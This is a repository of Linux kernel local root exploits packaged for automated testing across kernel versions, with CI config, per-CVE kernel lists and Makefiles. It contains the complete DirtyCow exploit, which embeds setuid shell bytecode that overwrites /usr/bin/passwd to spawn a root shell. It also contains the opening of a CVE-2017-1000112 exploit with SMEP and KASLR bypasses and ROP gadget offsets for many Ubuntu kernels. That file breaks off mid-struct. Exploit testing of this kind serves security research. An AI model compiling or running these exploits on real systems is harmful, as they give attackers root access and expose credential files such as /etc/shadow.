├── .github └── PULL_REQUEST_TEMPLATE.md ├── .travis.yml ├── CVE-2016-5195 ├── .out-of-tree.toml ├── CVE-2016-5195.c └── Makefile ├── CVE-2017-1000112 ├── .out-of-tree.toml ├── CVE-2017-1000112.c └── Makefile ├── CVE-2017-16995 ├── .out-of-tree.toml ├── CVE-2017-16995.c └── Makefile ├── CVE-2017-7308 ├── .out-of-tree.toml ├── CVE-2017-7308.c └── Makefile ├── CVE-2019-15666 ├── .out-of-tree.toml ├── CVE-2019-15666.c ├── Makefile └── test.sh └── README.md /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | - [ ] Authorship is preserved. 6 | - [ ] .out-of-tree.toml is created and all tests on all kernels succeed. 7 | - [ ] .travis.yml is updated 8 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | 3 | go: 4 | - 1.x 5 | 6 | os: 7 | - linux 8 | 9 | dist: 10 | - bionic 11 | 12 | addons: 13 | apt: 14 | packages: 15 | - qemu 16 | 17 | services: 18 | - docker 19 | 20 | env: 21 | global: 22 | - GO111MODULE=on 23 | matrix: 24 | - EXPLOIT=CVE-2017-16995 25 | - EXPLOIT=CVE-2016-5195 26 | - EXPLOIT=CVE-2017-1000112 27 | - EXPLOIT=CVE-2017-7308 28 | - EXPLOIT=CVE-2019-15666 29 | 30 | before_script: 31 | - go get -u code.dumpstack.io/tools/out-of-tree 32 | - sudo ln -s $HOME/.out-of-tree /root/ 33 | - | 34 | cd $TRAVIS_BUILD_DIR/$EXPLOIT 35 | out-of-tree kernel autogen --max=8 36 | 37 | script: 38 | - | 39 | cd $TRAVIS_BUILD_DIR/$EXPLOIT 40 | sudo $(which out-of-tree) pew --verbose --runs=3 --timeout=20m --threshold=0.80 41 | -------------------------------------------------------------------------------- /CVE-2016-5195/.out-of-tree.toml: -------------------------------------------------------------------------------- 1 | name = "CVE-2016-5195" 2 | type = "exploit" 3 | 4 | # TODO: Add other major kernel versions 5 | 6 | [[supported_kernels]] 7 | distro_type = "Ubuntu" 8 | distro_release = "16.04" 9 | [supported_kernels.kernel] 10 | version = [ 4 ] 11 | major = [ 4 ] 12 | minor = [ 0 ] 13 | patch = [ 0, 43 ] 14 | -------------------------------------------------------------------------------- /CVE-2016-5195/CVE-2016-5195.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (un)comment correct payload first (x86 or x64)! 3 | * 4 | * $ gcc cowroot.c -o cowroot -pthread 5 | * $ ./cowroot 6 | * DirtyCow root privilege escalation 7 | * Backing up /usr/bin/passwd.. to /tmp/bak 8 | * Size of binary: 57048 9 | * Racing, this may take a while.. 10 | * /usr/bin/passwd overwritten 11 | * Popping root shell. 12 | * Don't forget to restore /tmp/bak 13 | * thread stopped 14 | * thread stopped 15 | * root@box:/root/cow# id 16 | * uid=0(root) gid=1000(foo) groups=1000(foo) 17 | * 18 | * @robinverton 19 | */ 20 | 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | void *map; 30 | int f; 31 | int stop = 0; 32 | struct stat st; 33 | char *name; 34 | pthread_t pth1,pth2,pth3; 35 | 36 | // change if no permissions to read 37 | char suid_binary[] = "/usr/bin/passwd"; 38 | 39 | /* 40 | * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i 41 | */ 42 | unsigned char sc[] = { 43 | 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 45 | 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 51 | 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 53 | 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 54 | 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 55 | 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 56 | 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 57 | 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 58 | }; 59 | unsigned int sc_len = 177; 60 | 61 | /* 62 | * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i 63 | unsigned char sc[] = { 64 | 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 66 | 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 67 | 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 68 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 69 | 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 70 | 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 71 | 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 72 | 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 73 | 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 74 | 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 75 | 0x89, 0xe1, 0xcd, 0x80 76 | }; 77 | unsigned int sc_len = 136; 78 | */ 79 | 80 | void *madviseThread(void *arg) 81 | { 82 | char *str; 83 | str=(char*)arg; 84 | int i,c=0; 85 | for(i=0;i<1000000 && !stop;i++) { 86 | c+=madvise(map,100,MADV_DONTNEED); 87 | } 88 | printf("thread stopped\n"); 89 | } 90 | 91 | void *procselfmemThread(void *arg) 92 | { 93 | char *str; 94 | str=(char*)arg; 95 | int f=open("/proc/self/mem",O_RDWR); 96 | int i,c=0; 97 | for(i=0;i<1000000 && !stop;i++) { 98 | lseek(f,map,SEEK_SET); 99 | c+=write(f, str, sc_len); 100 | } 101 | printf("thread stopped\n"); 102 | } 103 | 104 | void *waitForWrite(void *arg) { 105 | char buf[sc_len]; 106 | 107 | for(;;) { 108 | FILE *fp = fopen(suid_binary, "rb"); 109 | 110 | fread(buf, sc_len, 1, fp); 111 | 112 | if(memcmp(buf, sc, sc_len) == 0) { 113 | printf("%s overwritten\n", suid_binary); 114 | break; 115 | } 116 | 117 | fclose(fp); 118 | sleep(1); 119 | } 120 | 121 | stop = 1; 122 | 123 | printf("Popping root shell.\n"); 124 | printf("Don't forget to restore /tmp/bak\n"); 125 | 126 | system(suid_binary); 127 | } 128 | 129 | int main(int argc,char *argv[]) { 130 | char *backup; 131 | 132 | printf("DirtyCow root privilege escalation\n"); 133 | printf("Backing up %s to /tmp/bak\n", suid_binary); 134 | 135 | asprintf(&backup, "cp %s /tmp/bak", suid_binary); 136 | system(backup); 137 | 138 | f = open(suid_binary,O_RDONLY); 139 | fstat(f,&st); 140 | 141 | printf("Size of binary: %d\n", st.st_size); 142 | 143 | char payload[st.st_size]; 144 | memset(payload, 0x90, st.st_size); 145 | memcpy(payload, sc, sc_len+1); 146 | 147 | map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); 148 | 149 | printf("Racing, this may take a while..\n"); 150 | 151 | pthread_create(&pth1, NULL, &madviseThread, suid_binary); 152 | pthread_create(&pth2, NULL, &procselfmemThread, payload); 153 | pthread_create(&pth3, NULL, &waitForWrite, NULL); 154 | 155 | pthread_join(pth3, NULL); 156 | 157 | return 0; 158 | } 159 | -------------------------------------------------------------------------------- /CVE-2016-5195/Makefile: -------------------------------------------------------------------------------- 1 | TARGET := CVE-2016-5195 2 | 3 | all: 4 | gcc CVE-2016-5195.c -o $(TARGET) -lpthread 5 | 6 | clean: 7 | rm -f $(TARGET) 8 | -------------------------------------------------------------------------------- /CVE-2017-1000112/.out-of-tree.toml: -------------------------------------------------------------------------------- 1 | name = "CVE-2017-1000112" 2 | type = "exploit" 3 | 4 | # TODO: the exploit also supports Ubuntu 14.04. 5 | 6 | [[supported_kernels]] 7 | distro_type = "Ubuntu" 8 | distro_release = "16.04" 9 | release_mask = "4.4.0-(81|89)-.*" 10 | 11 | [[supported_kernels]] 12 | distro_type = "Ubuntu" 13 | distro_release = "16.04" 14 | release_mask = "4.8.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-.*" 15 | # 4.8.0-42 and 4.8.0-44 are missing from 34-58 range. 16 | 17 | [mitigations] 18 | disable_smap = true 19 | -------------------------------------------------------------------------------- /CVE-2017-1000112/CVE-2017-1000112.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on: 4 | // - Ubuntu trusty 4.4.0 kernels 5 | // - Ubuntu xenial 4.4.0 and 4.8.0 kernels 6 | // - Linux Mint rosa 4.4.0 kernels 7 | // - Linux Mint sarah 4.8.0 kernels 8 | // - Zorin OS 12.1 4.4.0-39 kernel 9 | // 10 | // Usage: 11 | // user@ubuntu:~$ uname -a 12 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 13 | // user@ubuntu:~$ whoami 14 | // user 15 | // user@ubuntu:~$ id 16 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 17 | // user@ubuntu:~$ gcc pwn.c -o pwn 18 | // user@ubuntu:~$ ./pwn 19 | // [.] starting 20 | // [.] checking kernel version 21 | // [.] kernel version '4.8.0-58-generic' detected 22 | // [~] done, version looks good 23 | // [.] checking SMEP and SMAP 24 | // [~] done, looks good 25 | // [.] setting up namespace sandbox 26 | // [~] done, namespace sandbox set up 27 | // [.] KASLR bypass enabled, getting kernel addr 28 | // [~] done, kernel text: ffffffffae400000 29 | // [.] commit_creds: ffffffffae4a5d20 30 | // [.] prepare_kernel_cred: ffffffffae4a6110 31 | // [.] SMEP bypass enabled, mmapping fake stack 32 | // [~] done, fake stack mmapped 33 | // [.] executing payload ffffffffae40008d 34 | // [~] done, should be root now 35 | // [.] checking if we got root 36 | // [+] got r00t ^_^ 37 | // root@ubuntu:/home/user# whoami 38 | // root 39 | // root@ubuntu:/home/user# id 40 | // uid=0(root) gid=0(root) groups=0(root) 41 | // root@ubuntu:/home/user# cat /etc/shadow 42 | // root:!:17246:0:99999:7::: 43 | // daemon:*:17212:0:99999:7::: 44 | // bin:*:17212:0:99999:7::: 45 | // sys:*:17212:0:99999:7::: 46 | // ... 47 | // 48 | // Andrey Konovalov 49 | // --- 50 | // Updated by 51 | // - support for distros based on Ubuntu kernel 52 | // - additional kernel targets 53 | // - additional KASLR bypasses 54 | // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112 55 | 56 | #define _GNU_SOURCE 57 | 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | 74 | #define DEBUG 75 | 76 | #ifdef DEBUG 77 | # define dprintf printf 78 | #else 79 | # define dprintf 80 | #endif 81 | 82 | #define ENABLE_KASLR_BYPASS 1 83 | #define ENABLE_SMEP_BYPASS 1 84 | 85 | char* SHELL = "/bin/bash"; 86 | 87 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 88 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 89 | 90 | // Will be overwritten by detect_kernel(). 91 | int kernel = -1; 92 | 93 | struct kernel_info { 94 | const char* distro; 95 | const char* version; 96 | uint64_t commit_creds; 97 | uint64_t prepare_kernel_cred; 98 | uint64_t xchg_eax_esp_ret; 99 | uint64_t pop_rdi_ret; 100 | uint64_t mov_dword_ptr_rdi_eax_ret; 101 | uint64_t mov_rax_cr4_ret; 102 | uint64_t neg_rax_ret; 103 | uint64_t pop_rcx_ret; 104 | uint64_t or_rax_rcx_ret; 105 | uint64_t xchg_eax_edi_ret; 106 | uint64_t mov_cr4_rdi_ret; 107 | uint64_t jmp_rcx; 108 | }; 109 | 110 | struct kernel_info kernels[] = { 111 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 112 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 113 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 114 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 115 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 116 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 117 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 118 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 119 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 120 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 121 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 122 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 123 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 124 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 125 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 126 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 127 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 128 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 129 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 130 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 131 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 132 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 133 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 134 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 135 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 136 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 137 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 138 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 139 | { "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 140 | { "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b }, 141 | { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, 142 | { "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d }, 143 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 144 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 145 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 146 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 147 | // { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b }, 148 | // { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 }, 149 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 150 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 151 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 152 | { "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 153 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 154 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 }, 155 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 156 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 157 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 158 | }; 159 | 160 | // Used to get root privileges. 161 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 162 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 163 | 164 | // Used when ENABLE_SMEP_BYPASS is used. 165 | // - xchg eax, esp ; ret 166 | // - pop rdi ; ret 167 | // - mov dword ptr [rdi], eax ; ret 168 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 169 | // - neg rax ; ret 170 | // - pop rcx ; ret 171 | // - or rax, rcx ; ret 172 | // - xchg eax, edi ; ret 173 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 174 | // - jmp rcx 175 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 176 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 177 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 178 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 179 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 180 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 181 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 182 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 183 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 184 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 185 | 186 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 187 | 188 | typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); 189 | typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); 190 | 191 | void get_root(void) { 192 | ((_commit_creds)(COMMIT_CREDS))( 193 | ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); 194 | } 195 | 196 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 197 | 198 | uint64_t saved_esp; 199 | 200 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 201 | // can be used to omit a function's prologue, so I had to use this weird 202 | // wrapper hack as a workaround. Note: Clang does support it, which means it 203 | // has better support of GCC attributes than GCC itself. Funny. 204 | void wrapper() { 205 | asm volatile (" \n\ 206 | payload: \n\ 207 | movq %%rbp, %%rax \n\ 208 | movq $0xffffffff00000000, %%rdx \n\ 209 | andq %%rdx, %%rax \n\ 210 | movq %0, %%rdx \n\ 211 | addq %%rdx, %%rax \n\ 212 | movq %%rax, %%rsp \n\ 213 | call get_root \n\ 214 | ret \n\ 215 | " : : "m"(saved_esp) : ); 216 | } 217 | 218 | void payload(); 219 | 220 | #define CHAIN_SAVE_ESP \ 221 | *stack++ = POP_RDI_RET; \ 222 | *stack++ = (uint64_t)&saved_esp; \ 223 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 224 | 225 | #define SMEP_MASK 0x100000 226 | 227 | #define CHAIN_DISABLE_SMEP \ 228 | *stack++ = MOV_RAX_CR4_RET; \ 229 | *stack++ = NEG_RAX_RET; \ 230 | *stack++ = POP_RCX_RET; \ 231 | *stack++ = SMEP_MASK; \ 232 | *stack++ = OR_RAX_RCX_RET; \ 233 | *stack++ = NEG_RAX_RET; \ 234 | *stack++ = XCHG_EAX_EDI_RET; \ 235 | *stack++ = MOV_CR4_RDI_RET; 236 | 237 | #define CHAIN_JMP_PAYLOAD \ 238 | *stack++ = POP_RCX_RET; \ 239 | *stack++ = (uint64_t)&payload; \ 240 | *stack++ = JMP_RCX; 241 | 242 | void mmap_stack() { 243 | uint64_t stack_aligned, stack_addr; 244 | int page_size, stack_size, stack_offset; 245 | uint64_t* stack; 246 | 247 | page_size = getpagesize(); 248 | 249 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 250 | stack_addr = stack_aligned - page_size * 4; 251 | stack_size = page_size * 8; 252 | stack_offset = XCHG_EAX_ESP_RET % page_size; 253 | 254 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 255 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 256 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 257 | dprintf("[-] mmap()\n"); 258 | exit(EXIT_FAILURE); 259 | } 260 | 261 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 262 | 263 | CHAIN_SAVE_ESP; 264 | CHAIN_DISABLE_SMEP; 265 | CHAIN_JMP_PAYLOAD; 266 | } 267 | 268 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 269 | 270 | struct ubuf_info { 271 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 272 | uint64_t ctx; // void * 273 | uint64_t desc; // unsigned long 274 | }; 275 | 276 | struct skb_shared_info { 277 | uint8_t nr_frags; // unsigned char 278 | uint8_t tx_flags; // __u8 279 | 